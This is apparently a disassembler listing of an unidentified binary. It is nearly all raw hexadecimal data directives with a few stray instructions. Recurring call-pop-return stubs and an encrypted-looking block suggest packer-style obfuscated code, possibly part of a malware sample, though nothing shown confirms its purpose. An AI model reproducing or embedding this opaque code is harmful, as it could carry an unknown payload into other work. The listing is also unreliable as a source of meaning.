		dd 0FBF24A3Ch, 0AD7923D4h, 6EE2003Ch, 892AA962h, 896BA138h
		dd 0AD973A38h, 6E9D663Ch, 3570C796h, 52955B46h,	0FF794AECh
		dd 0ADBC23D4h, 6E04003Ch, 897BA966h, 89D3A138h,	0ADCB3838h
		dd 6EB7623Ch, 0BB47DE5Bh, 0ADFCA931h, 26BA3581h, 0BF4BC589h
		dd 0A8D7AB3Ah, 0AD9722F0h, 10CFA5B5h, 6D662629h, 0A577A924h
		dd 9E7F3581h, 0AF5099FCh, 7AD203Ch, 9D569515h, 201C262Eh
		dd 0ABD93FC5h, 0B824A5FAh, 0C7B1262Eh, 0AE91753Ch, 8DBC203Ch
		dd 2403E361h, 2C2B0450h, 0B1930478h, 0E8CB203Ch, 0FE7BE369h
		dd 0A3734AF4h, 2D12A9F0h, 108F74C9h, 0AB4C0D69h, 2A35B654h
		dd 0AD92C9B4h, 0B535203Ch, 2C27CB57h, 0FD3A0438h, 0AD1333DCh
		dd 0ADBFC86Fh, 0F67E203Ch, 0F1A67BFFh, 0E9162418h, 0ADD72418h
		dd 0FEA6203Ch, 0EAA6EBFFh, 57502011h, 12DA001Dh, 18A10797h
		dd 0AB3D113Dh, 45C12056h, 0ADCB203Fh, 0F3267E1Ch, 0A9D654B5h
		dd 0A95D64BDh, 0ADBC2024h, 529D767Ah, 2E9ED730h, 281AEAB7h
		dd 0ABDEA246h, 45B52056h, 0ADF2203Fh, 0F5BA781Ch, 0A99864B5h
		dd 0A97A64BDh, 0AD2F2029h, 2D54707Ch, 5101AAFEh, 0AD8FF0C3h
		dd 0ADF1C869h, 0F059203Ch, 0C1357DFFh, 0E9DF2418h, 0AD3B2418h
		dd 0F8D2203Ch, 20C8AEFFh, 0ABF70DE5h, 845F9DB7h, 28F0262Eh
		dd 0ABAE3561h, 0AD5E32D4h, 0B640823Ch, 4614E19Dh, 0DA7A0386h
		dd 610A8653h, 26C51784h, 0BF67FD89h, 2831793Ah,	0AB4C2B9Dh
		dd 45792056h, 0AD97203Fh, 0F3087E1Ch, 0A9C154B5h, 0A9D664BDh
		dd 0AD792021h, 0C67F767Ah, 62C01A96h, 6F199Ch, 6041A1B9h
		dd 24DD26C9h, 0BFEE75B9h, 0ADE0C83Ah, 8FE1203Ch, 1C512C41h
		dd 28901225h, 50A3DBCFh, 3C1C72A4h, 0AEFC9F5Ah,	0E0680965h
		dd 6BF43213h, 0BF6CE1B9h, 0ADD6733Ah, 0AD5DC86Bh, 0F20F203Ch
		dd 0D11E7FFFh, 0E94A2418h, 0ADFC2418h, 0FAB5203Ch, 0C692B2FFh
		dd 0C57C8C00h, 24351CC1h, 760B24BDh, 0C7E46637h, 0AE23713Ch
		dd 8DE5203Ch, 24ABE365h, 2C7D0470h, 0BBB80478h,	0EC5E203Ch
		dd 0D2E6E36Dh, 0AD9BC9BEh, 1951203Ch, 0EA2E212Fh, 0C4EB6656h
		dd 1886FC35h, 0ABAE113Dh, 0A1E7AD3Dh, 28A2262Eh, 0AB82A246h
		dd 459E2056h, 0ADE5203Fh, 0F0317D1Ch, 0A95D4CB5h, 0A99864BDh
		dd 0AD5E2027h, 0DCEC7579h, 0F3FB0B9Eh, 4494C8AEh, 0ADE5203Ah
		dd 2223FCBCh, 7D86D918h, 244A9733h, 0BF77F1B9h,	28E9D53Ah
		dd 0AB8535FDh, 0FFCB4A6Fh, 0ADE523D4h, 6EA8003Ch, 892DA966h
		dd 89F8A138h, 0AD5E3438h, 6E7D623Ch, 0AD93C809h, 6978203Ch
		dd 5A6EF824h, 89B6AB6Ch, 0AD7CC938h, 0CBCE203Ch, 26CA13D1h
		dd 896BA93Ch, 0AD9CC838h, 0F4B4203Ch, 41F4E4A5h, 5383B392h
		dd 0CC1970A3h, 0C7E47965h, 0AEB6703Ch, 8D2F203Ch, 24CFE364h
		dd 2CCF0478h, 0BAE10478h, 0EDF2203Ch, 648AE36Ch, 5F3DF804h
		dd 0B23FDB26h, 9C2E95C3h, 0ADFD262Eh, 0ADC8C86Ah, 0F3C5203Ch
		dd 0D97B7EFFh, 0E9F82418h, 0ADA12418h, 0FB18203Ch, 9650D8FFh
		dd 9EE555Eh, 441067DEh,	0ADE5203Ah, 0D502212Ah,	208C6A3Ch
		dd 0B83E5AB9h, 0C78EDF3Ah, 0AEC7763Ch, 8D97203Ch, 2495E362h
		dd 2CE10448h, 0B8F60478h, 0EB79203Ch, 0D7EDE36Ah, 84DBA9C5h
		dd 0C729321Ch, 0AE7F753Ch, 8DCB203Ch, 24B8E361h, 2CF60450h
		dd 0B87D0478h, 0E8BC203Ch, 0E705E369h, 9FD2B5B7h, 2851262Eh
		dd 0ABD935FDh, 5C50A97Bh, 45F43212h, 0AD792038h, 1A62FD95h
		dd 0AD50A833h, 4479203Ch, 0AD97203Bh, 0CA06C678h, 0F7BDF73Dh
		dd 4592406Ch, 0AD792035h, 0DDD971A8h, 0CCB11196h, 0CB4E7B58h
		dd 0CC62D186h, 0A9EF64B7h, 0D3ED7D82h, 0CBF2AB3Ch, 0E9F0D3B7h
		dd 7B372418h, 0D0CB0B64h, 5229322Bh, 0BFA62189h, 0FBCB4A3Ah
		dd 0ADE523D4h, 6EAC003Ch, 890DA962h
		dd 89F8A138h, 0AD5E3538h, 6E79663Ch, 0A87F238Bh, 0D1CB203Ch
		dd 9A1DFBA6h, 17B3FFBDh, 2020532Bh, 0B83E5AB9h,	0FB5E4A3Ah
		dd 0AD2F23D4h, 6EC9003Ch, 89BFA962h, 89A1A138h,	0ADF23938h
		dd 6E2F663Ch, 7A0617F9h, 0A6B7C4B7h, 0DF2F203Ch, 0C87921D0h
		dd 985ADDBBh, 43653BB1h, 2422DF70h, 0BF543DB9h,	2C312B3Ah
		dd 6B583211h, 0BF3AE1B9h, 0ADFD673Ah, 0ADC8C86Ch, 0F5C5203Ch
		dd 0E97B78FFh, 0E9F82418h, 0ADA52418h, 0FD1E203Ch, 5836DAFFh
		dd 0FB48D903h, 804A9D1Fh, 24BF262Eh, 0BFED25B9h, 0AD7DC83Ah
		dd 0BDC6203Ch, 0CD0CA1E0h, 9C20726Ch, 541C7866h, 269B7A5Dh
		dd 89A1ABCBh, 0ADFBC938h, 0DFA0203Ch, 0A9091429h, 26F9B864h
		dd 2470773Ch, 0FD930478h, 0ADDFC86Eh, 2635203Ch, 0CEAD2B23h
		dd 65D0EFA1h, 41EC63ACh, 0E8D48E3h, 0FF7F8CB2h,	0F5CD1133h
		dd 26FA2F62h, 0F5BD7AF3h, 45A42056h, 0AD79203Fh, 0F37F7E1Ch
		dd 0A97A54B5h, 0A90B64BDh, 0AD97202Ah, 1408767Ah, 6764C885h
		dd 8D01EA35h, 9C7895C3h, 1AB3262Eh, 0FF8CA1F6h,	203E18F0h
		dd 0B8155AB9h, 2842403Ah, 0ABF71341h, 2C22DF5Dh, 0AF1220DBh
		dd 5039A973h, 0CB583220h, 6B344183h, 0BF82E1B9h, 3840673Ah
		dd 0ABF727DDh, 0ADF234D4h, 0E73D663Ch, 32BAA10Eh, 0CFBB6811h
		dd 1160A8D3h, 1A05673Fh, 0F3409242h, 9BFD8154h,	2C02AB7Eh
		dd 8EC50438h, 26DA48ABh, 0ACEBDFCCh, 0C729320Dh, 0AE7F723Ch
		dd 8DCB203Ch, 24BFE366h, 2CF60468h, 0B07D0478h,	0EFBC203Ch
		dd 6E39E36Eh, 68C9ACB2h, 34C861D8h, 0ADCB31D5h,	0DA9FBC3Ch
		dd 0AD35E3D2h, 0F65F11FFh, 7C45C94Bh, 2877E93Eh, 0AB3D2311h
		dd 0B762ADB7h, 2846262Eh, 0ABF0A246h, 0ADF22BD5h, 0E13EED3Ch
		dd 0A1723B7Ah, 14C5E9A8h, 28A6F0C3h, 0AB8527A1h, 459D2056h
		dd 0ADE5203Fh, 0F3317E1Ch, 0A95D54B5h, 0A99864BDh, 0AD5E2028h
		dd 82EC767Ah, 0FCADF483h, 241BDF19h, 0BFEEB581h, 3477A93Ah
		dd 0C77F321Fh, 0AE54733Ch, 8D5E203Ch, 2474E367h, 2C930460h
		dd 0B6CF0478h, 0EEE5203Ch, 7966E36Fh, 0FC12AE54h, 17DAECCEh
		dd 2138240Ch, 0C4B2A9E4h, 0A491322Ah, 0BFC765A1h, 0C7E1043Ah
		dd 0AE1A703Ch, 8D79203Ch, 24E4E364h, 2C5A0478h,	0B02B0478h
		dd 0ED97203Ch, 1B97E36Ch, 4996AEDCh, 18BBC91Bh,	17399F5Ah
		dd 29B3E036h, 0AD5E22C3h, 0AD06B5B7h, 2851262Eh, 0ABD935FDh
		dd 855A4673h, 61B4848h,	63F2AF85h, 769824BDh, 0C771E6FCh
		dd 0AEC7773Ch, 8D97203Ch, 2494E363h, 2CE10440h,	0B8F60478h
		dd 0EA79203Ch, 394CE36Bh, 12EEE5BCh, 88F9A668h,	9C9695C3h
		dd 2842262Eh, 0ABF73445h, 999F9DB7h, 28F4262Eh,	0ABA9A246h
		dd 0AD57A533h, 544F203Ch, 0BA86ADB7h, 2DAA262Eh, 7D1A1CE9h
		dd 0C7D6E0BFh, 0AE91713Ch, 8DBC203Ch, 2407E365h, 2C2B0470h
		dd 0B1930478h, 0ECCB203Ch, 1E7BE36Dh, 20C5FED1h, 243956A9h
		dd 0BF8C11B9h, 0FE5E4A3Ah, 0AD2F23D4h, 6ECC003Ch, 8997A967h
		dd 89A1A138h, 0ADF23838h, 6E2A633Ch, 0F8685FB7h, 6CD3A973h
		dd 26293216h, 0BFB4B9B9h, 0FFCB4A3Ah, 0ADE523D4h, 6EA8003Ch
		dd 892DA966h, 89F8A138h, 0AD5E3C38h, 6E7D623Ch,	0B20F00F6h
		dd 566C4F42h, 3078ABFCh, 0C7F4323Bh, 0AE91713Ch, 8DBC203Ch
		dd 2407E365h, 2C2B0470h, 0B9930478h, 0ECCB203Ch, 441AE36Dh
		dd 0ADF22031h, 0F920C0ABh, 9E343331h, 2BD0FDFDh, 64AE6330h
		dd 0AB552F9Fh, 0B6407A6Dh, 45B02056h, 0ADF2203Fh, 0F0BA7D1Ch
		dd 0A9984CB5h, 0A97A64BDh, 0AD2F2029h, 16547579h, 905EAB55h
		dd 26E33228h, 0FCF24A27h, 0AD7923D4h, 6EE5003Ch, 8912A965h
		dd 896BA138h, 0AD973D38h, 6E9A613Ch, 765BFABCh,	0CF2E3BA0h
		dd 0B6F25C7Ch, 0ADBAA533h, 30D7203Ch, 0AB3D1365h, 3894F80Fh
		dd 0ABD9147Dh, 8968BDB5h, 0AD98262Eh, 0AD7AC86Eh, 0F79C203Ch
		dd 0F9D77AFFh, 0E9AE2418h, 0AD8F2418h, 0FF89203Ch, 0A4EC7CFFh
		dd 0A21A1580h, 7179203Ch, 0A63834BFh, 43D9A0FEh, 973B89EFh
		dd 54F7DE64h, 0CC1DAB5Ah, 6C60E662h, 0EAF43229h, 0BF11D7B7h
		dd 26244D7Dh, 896AA1CEh, 829CBC87h, 9C9695C3h, 0ADA1262Eh
		dd 0ADE6C86Fh, 0F6D2203Ch, 0F1F07BFFh, 0E93D2418h, 0AD482418h
		dd 0FE6C203Ch, 2FE9A8FFh, 0A14695B5h, 2868262Eh, 0ABE7A246h
		dd 452F2056h, 0ADBC203Fh, 0F39D7E1Ch, 0A90B54B5h, 0A9B364BDh
		dd 0ADCB2029h, 6226767Ah, 0AB782FAFh, 2679203Ch, 0BFAA5989h
		dd 0C78EDF3Ah, 0AEC7733Ch, 8D97203Ch, 2490E367h, 2CE10460h
		dd 0B0F60478h, 0EE79203Ch, 0A98DE36Fh, 809D3C18h, 691909D8h
		dd 0AD97AD33h, 20E2203Ch, 0ABF70941h, 80EFA5B5h, 0AD13262Eh
		dd 0ADBFC86Bh, 0F27E203Ch, 0D1A67FFFh, 0E9162418h, 0ADDE2418h
		dd 0FAA2203Ch, 8465CFFFh, 0BF65FDB9h, 0ADD6603Ah, 0AD5DC86Dh
		dd 0F40F203Ch, 0E11E79FFh, 0E94A2418h, 0ADFF2418h, 0FCB3203Ch
		dd 0ECD927FFh, 708B37Fh, 26ADAB5Ah, 5CA4463Ch, 0ADFD20B7h
		dd 0ADC8C869h, 0F0C5203Ch, 0C17B7DFFh, 0E9F82418h, 0ADA62418h
		dd 0F81B203Ch, 5491A8FFh, 855489B4h, 8D06A5B5h,	286C262Eh
		dd 0ABE03341h, 0AD7832D5h, 3009AB3Ch, 20583237h, 0B89206B9h
		dd 3665A13Ah, 0FDCA8966h, 0ADE1AD33h, 1794203Ch, 0A9F06D79h
		dd 5A3D4018h, 0F1F0A01Ch, 0AD29AD33h, 381E203Ch, 0ABD92825h
		dd 3070DF5Dh, 44F43214h, 0AD792039h, 701B11EEh,	263840B8h
		dd 60AAABC2h, 0CC913220h, 10E7BDB1h, 0FC852629h, 8BC7ADB7h
		dd 5526262Eh, 26DA705Dh, 8942A9F7h, 45782056h, 0AD97203Fh
		dd 0F2087F1Ch, 0A9C15CB5h, 0A9D664BDh, 0AD792027h, 0FE7F777Bh
		dd 0DA468A6Dh, 2CE6D2C0h, 96BAF8F5h, 0FC5E2347h, 3DE3323Ch
		dd 0A21AB06Ch, 8F79203Ch, 64F156Bh, 23C846D1h, 66DCF5B5h
		dd 20982425h, 0ADCB202Dh, 0ADE52CD5h, 0ED43823Ch, 0C06400C9h
		dd 0B210A99Bh, 38A17A5Eh, 0AB3D0A51h, 45C72056h, 0ADCB203Fh
		dd 0F526781Ch, 0A9D664B5h, 0A95D64BDh, 0ADBC2024h, 799D707Ch
		dd 15F8C1A2h, 9DA6A5B5h, 0ADA1262Eh, 0ADE6C86Bh, 0F2D2203Ch
		dd 0D1F07FFFh, 0E93D2418h, 0AD4B2418h, 0FA68203Ch, 0CB76ACFFh
		dd 6B2CEC82h, 0BFF0E1B9h, 6B73733Ah, 0C1AE2704h, 0E6692054h
		dd 0ADD72FBDh, 2C2F203Ch, 2E80438h, 0BF230907h,	0E5203Ch
		dd 0BFF139ECh, 994BCF10h, 0D47ABD04h, 0D364AA2Bh, 0AD23C960h
		dd 0A4F3203Ch, 0ADC313BDh, 2E4FCA86h, 52ABF5F6h, 0BF482189h
		dd 801A93Ah, 26583228h,	0BF1B01A9h, 0D712AD3Ah,	0C7CD35BEh
		dd 0AE0D773Ch, 8DF2203Ch, 2426E363h, 2CB80440h,	0BA5A0478h
		dd 0EA2F203Ch, 8600E36Bh, 20F875BFh, 0ABF70F25h, 7D0D4A8Ah
		dd 8018ADB7h, 2835262Eh, 0AB4C0CE9h, 45792056h,	0AD97203Fh
		dd 0F3087E1Ch, 0A9C154B5h, 0A9D664BDh, 0AD792026h, 4E7F767Ah
		dd 0C524DFE6h, 28E94398h, 0AB8535FDh, 0AB422F7Bh, 9CE5203Ch
		dd 0BFF169B9h, 24FC293Ah, 0C5BA321Dh, 538941DEh, 0DF0B14BDh
		dd 0C7C88548h, 0AE23723Ch, 8DE5203Ch, 24A8E366h, 2C7D0468h
		dd 0B5B80478h, 0EF5E203Ch, 0E08BE36Eh, 0A2BE1140h, 0ADCB25B8h
		dd 0BE9C9F3Ch, 180D3248h, 0AB6B113Dh, 0ADBC33D5h, 9DE61F3Ch
		dd 0C6DC55C0h, 0AC4ABF8h, 5EC5DE3h, 16F95C9Eh, 0ADF7A333h
		dd 9EC0203Ch, 20FFBA04h, 0B8DC5AB9h, 0FD2F4A3Ah, 0AD9723D4h
		dd 6E93003Ch, 89A1A964h, 89B6A138h, 0AD793438h,	6EEC603Ch
		dd 2D3C9593h, 7DD0C7E6h, 760ED2BDh, 284249FDh, 0ABF73ADDh
		dd 0ADF4AB33h, 10F2203Ch
		dd 0ABAE34F5h, 0B89FA5FAh, 0C77C262Eh, 0AE7F763Ch, 8DCB203Ch
		dd 24BBE362h, 2CF60448h, 0B77D0478h, 0EBBC203Ch, 0B4DEE36Ah
		dd 0C5872D6Fh, 0F412213Eh, 0A2CD3226h, 0F38DE883h, 2C90A7F4h
		dd 3A4B0438h, 10BD168Dh, 0AB4C00A5h, 9C2E95C3h,	0ADFD262Eh
		dd 0ADC8C869h, 0F0C5203Ch, 0C17B7DFFh, 0E9F82418h, 0ADAA2418h
		dd 0F81B203Ch, 0B3F2F1FFh, 2FEDA5B1h, 0ADA12629h, 0ADE6C86Ch
		dd 0F5D2203Ch, 0E9F078FFh, 0E93D2418h, 0AD432418h, 0FD6F203Ch
		dd 2DE572FFh, 4BBBF1EBh, 0A2DC869Dh, 0ADF225BDh, 47E99F3Ch
		dd 7D437C1Fh, 0ABD72F5Ch, 242F203Ch, 0BF8165A9h, 6876A93Ah
		dd 0CCE33232h, 8A73A5B5h, 0AD13262Eh, 0ADBFC86Dh, 0F47E203Ch
		dd 0E1A679FFh, 0E9162418h, 0ADD72418h, 0FCA4203Ch, 25913CFFh
		dd 9310F45Fh, 183583A5h, 0AB4C0909h, 0B8EEA5FAh, 0C7C0262Eh
		dd 0AE23723Ch, 8DE5203Ch, 24A8E366h, 2C7D0468h,	0B1B80478h
		dd 0EF5E203Ch, 965BE36Eh, 0F491033Dh, 24EF213Eh, 0BFF3CDB9h
		dd 9A2C483Ah, 0FF29D845h, 0ADBEA533h, 0CC3E203Ch, 0F5751133h
		dd 75B314BDh, 0C7A35D59h, 0AE0D753Ch, 8DF2203Ch, 2424E361h
		dd 2CB80450h, 0B85A0478h, 0E82F203Ch, 0C273E369h, 42529A5Ah
		dd 9CE495C3h, 0AD98262Eh, 0AD7AC86Fh, 0F69C203Ch, 0F1D77BFFh
		dd 0E9AE2418h, 0AD8E2418h, 0FE88203Ch, 0B15F7AFFh, 8EF701A5h
		dd 0BF603581h, 0D739AD3Ah, 135835BEh, 89E51924h, 0ADFDF0C3h
		dd 0ADC8C86Ch, 0F5C5203Ch, 0E97B78FFh, 0E9F82418h, 0ADA72418h
		dd 0FD1E203Ch, 6BE43AFFh, 7218B233h, 0ADC6C9A9h, 0EDC1203Ch
		dd 8EA4812h, 44943496h,	24EE026Bh, 0BF4A55B9h, 0FD2F4A3Ah
		dd 0AD9723D4h, 6E93003Ch, 89A1A964h, 89B6A138h,	0AD793B38h
		dd 6EEC603Ch, 0E6BAB7A0h, 7EF111F7h, 8876ADB5h,	280D262Eh
		dd 0ABF735FDh, 0F8F24A7Fh, 0AD7923D4h, 6EE1003Ch, 8932A961h
		dd 896BA138h, 0AD973538h, 6E9E653Ch, 0A90D32A3h, 85F2203Ch
		dd 26C5B04Ch, 0E93770C7h, 0ADD52418h, 0F2E7AB6Bh, 0A9B364B5h
		dd 8493E8B7h, 0BFC35DA9h, 0AC47DF3Ah, 0CD7F320Dh, 0CDE7CEBCh
		dd 0AD5BC9C9h, 681E203Ch, 0CCE733C9h, 0D74EAD5Dh, 0C7E335BEh
		dd 0AE1A753Ch, 8D79203Ch, 24E1E361h, 2C5A0450h,	0B02B0478h
		dd 0E897203Ch, 0BE0AE369h, 3312F3A0h, 2FDD029Eh, 0BC08ADB7h
		dd 7D43262Eh, 450C2056h, 0AD2F203Fh, 0F7547A1Ch, 0A9EF74B5h
		dd 0A9C164BDh, 0ADF22028h, 0DBBA727Eh, 0BF75B5B7h, 28D7262Eh
		dd 0AB3D090Dh, 45C22056h, 0ADCB203Fh, 0F0267D1Ch, 0A9D64CB5h
		dd 0A95D64BDh, 0ADBC2024h, 0F19D7579h, 95326DEBh, 9D6295B7h
		dd 2846262Eh, 0ABF09D20h, 0B6739DB5h, 0FBE9262Eh, 0F26DAB5Ah
		dd 38A1B06Ch, 0AB3D08A1h, 45C22056h, 0ADCB203Fh, 0F0267D1Ch
		dd 0A9D64CB5h, 0A95D64BDh, 0ADBC2024h, 0DD9D7579h, 0BECC3F8Fh
		dd 0B45AADB7h, 3042262Eh, 0ABF7121Dh, 1294F8B7h, 28F481BDh
		dd 0ABA99D2Ch, 0B5DBB5B5h, 0CBBF262Eh, 0A2C7DEB7h, 0ADCB31BAh
		dd 0CC85403Ch, 0ADF228D5h, 2525F33Ch, 31C63B6Eh, 0C7CE41B4h
		dd 0AEC7753Ch, 8D97203Ch, 2496E361h, 2CE10450h,	0BAF60478h
		dd 0E879203Ch, 585FE369h, 0FDCDDE7Dh, 0FE2F4AAFh, 0AD9723D4h
		dd 6E90003Ch, 89B9A967h, 89B6A138h, 0AD793538h,	6EEF633Ch
		dd 42DFC3E9h, 0EFAF81A2h, 87FAB5C3h, 7E71262Eh,	24E0CACFh
		dd 0BFFE89B9h, 0FC794A3Ah, 0ADBC23D4h, 6E07003Ch, 8963A965h
		dd 89D3A138h, 0ADCB3D38h, 6EB4613Ch, 5B325A1Bh,	2774F5B7h
		dd 59367724h, 0AABBA5FBh, 0AD20262Eh, 1298203Ch, 45EDFC5h
		dd 0C7E33230h, 0AE1A703Ch, 8D79203Ch, 24E4E364h, 2C5A0478h
		dd 0B92B0478h, 0ED97203Ch, 2409E36Ch, 0BFFCE9B9h, 0F04FAB3Ah
		dd 457F321Dh, 0ADBC202Eh, 0DE03C75Eh, 0BFA405C1h, 0CA5AC678h
		dd 9893F73Dh, 44B65BC2h, 0ADF2203Ah, 0C6E12CCEh, 0F3E29C57h
		dd 0B803A5B7h, 30A2262Eh, 0AB82EFC0h, 20CA63B5h, 0BFEE8181h
		dd 7B47AD3Ah, 147F35F3h, 0ADBC200Fh, 9EB584CFh,	0AD2F2084h
		dd 0D9572B3Ch, 0ADD3E23Fh, 0A1C164B7h, 0ADF2C86Fh, 2C22203Ch
		dd 0ADBC37FFh, 8902A93Ch, 896BA92Ch, 9A2F7B28h,	52CB91C6h
		dd 89A1ABDCh, 8E12DF38h, 0BF5095B1h, 6237463Ah,	450F2056h
		dd 0AD2F203Fh, 0F454791Ch, 0A9EF6CB5h, 0A9C164BDh, 0ADF22025h
		dd 32BA717Dh, 0BA06572Ah, 0A9D12FE9h, 0CB2F203Ch, 0CCB1A686h
		dd 45992056h, 0ADE5203Fh, 0F7317A1Ch, 0A95D74B5h, 0A99864BDh
		dd 0AD5E2026h, 0A1EC727Eh, 7FFBDF00h, 7E4008F9h, 10F59DB1h
		dd 207F2629h, 0AB6CF042h, 8B171584h, 6CDB13A4h,	86293215h
		dd 0B7CDE1F3h, 6BADFDE0h, 3CADC8C8h, 0FFF2C520h, 18D17B7Fh
		dd 18E9F824h, 3CADAA24h, 0F305E983h, 6AD98BA4h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3CB8C350h, 7DA6EDEBh, 8D8B8168h, 6120385h, 7BE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 9E3B5BEAh, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 2AD04842h, 10E860h, 0EEE80000h, 53517A4Eh
		dd 6A05A685h, 87D6691Ch, 0D9808814h, 0BE95F7Eh,	77000000h
		dd 1012BF2Ah, 1811D81Ah, 0C3611D04h, 0BE9h, 0E09D9A00h
		dd 0B1EBD02Fh, 4CCE5B2Fh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0F9C7BBC3h, 1BD83F9h
		dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h
		dd 4B9h, 2B98589h, 9D8D0612h, 614AD70h,	585BD3FFh, 2149BD83h
		dd 74000612h, 0B8535017h, 4B9h,	2B98589h, 9D8D0612h, 614AA11h
		dd 585BD3FFh, 13E9h, 86254600h,	0FB8101A9h, 0A67B5B2Ah
		dd 0D77233A3h, 61476893h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 74C35343h, 0A2655B5Ch, 0F9BBDA97h, 5E9h
		dd 88D96A00h, 0C08B1F89h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 6AC35545h, 8BC68B60h,	40FC61C6h, 8960C18Bh
		dd 121DE1B5h, 3860F06h,	80000000h, 0EB6175D9h, 4, 0FBB70F00h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 65C35747h
		dd 8DD8A2ECh, 12006585h, 68D0F06h, 29000000h, 12331DBDh
		dd 50FB8B06h, 0DE96052h, 2F000000h, 0B3481BF8h,	4FA8AD7h
		dd 427A99F7h, 9E71B966h, 4895E61h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 951C566Dh
		dd 0F8B70F4Fh, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0E21640C3h, 6F352B51h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F9096CC3h, 3AC74DB1h, 0BD038F09h, 6121C9Dh,	0D402858Dh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 45A3A0C3h, 5C083EDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 48C35747h, 5090FD76h, 7B5ABE66h
		dd 0C5950990h, 6A061214h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6C1BCCA0h
		dd 6A87DC2Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h
		dd 0C3504000h, 268951F0h, 0D515FD23h, 5595FF77h, 8B06120Bh
		dd 122FD5BDh, 31B58B06h, 8D06120Fh, 159BCA9Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h
		db 4
dword_5B8EA1	dd 1Ah		; ---------------------------------------------------------------------------
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 5FECD01Ah, 89B3DC9Ah, 1222FDBDh, 0E9D3FF06h,	6, 0ABAE947Bh
		dd 8166175Eh, 0FF51FFE6h, 12123585h, 0AE906h, 8A4B0000h
		dd 55D77416h, 8A9BA460h, 705E9h, 0E800h, 815D0000h, 15D40CEDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E95D6A0Ch, 7, 0B53D64BBh, 81504693h, 1207E5BDh
		dd 7D006h, 4F860F00h, 8B000001h, 1223ED9Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 4EBE66C3h, 0E3815Dh,	81000001h, 2D326CEFh, 0FDB0B3Ah
		dd 0CB85h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 83D1D1E6h, 15D233BDh, 840F0006h
		dd 4Ch,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 65C35040h, 2880F60h,	8B000000h, 86E9F9h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 2A6908C3h, 0AD306F31h, 0D23385C7h, 10615h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0F706A9C3h, 8190C27Bh, 0D47AC4D7h, 2EE932h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0F540B1C3h, 0D23385C7h, 615h, 0B58B0000h, 61233A9h
		dd 23ED9D8Dh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 66BE3FC3h, 0F022BD61h, 9135E781h
		dd 2381545Bh, 0FFFFFEFFh, 29F18589h, 8C660612h,	51006ADBh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 4C3F6F6h, 17840Fh, 95FF0000h, 6120CA9h, 50F8B70Fh, 5EF98B50h
		dd 8B240489h, 121A3DBDh, 438E906h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 5B4917C3h
		dd 0F88B3450h, 0FB18DBFh, 6A00B05Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7D3AC357h
		dd 4D860154h, 6E883D6h,	16000000h, 0C1A7F5F1h, 0BE665FC9h
		dd 70E620D1h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0CFC35747h, 52F918CCh, 7E9F5E2h, 71000000h, 0D14E47DFh
		dd 8B665409h, 6A71E4F7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0E572C353h,	0C6D3DDC4h
		dd 0B60FBF47h, 50006AD8h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0A08F2D84h, 0BB4C8AF9h
		dd 6BAAEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 2E3996C3h, 29E99747h, 1223F1B5h
		dd 6AC38B06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 6AC5C350h, 0A191715Ch,	13E95Fh
		dd 0E0690000h, 589EAD3Bh, 4B25BD22h, 2F8A1AAAh,	0E39123DAh
		dd 4E8C15Dh, 0BFE2F766h, 53B17ED0h, 8D31D82Bh, 6121A2Dh
		dd 10E850h, 0ABA50000h,	22AD77CFh, 1CF4D400h, 90230BB3h
		dd 0F98BD314h, 241C895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0D4C35141h, 56757118h, 0FFFCFC34h, 1207E5B5h
		dd 68A0F06h, 8B000000h,	1203F1BDh, 0D195FF06h, 6A061229h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1FF7C353h, 40F37CC7h, 0B0F98B27h,	159D2900h
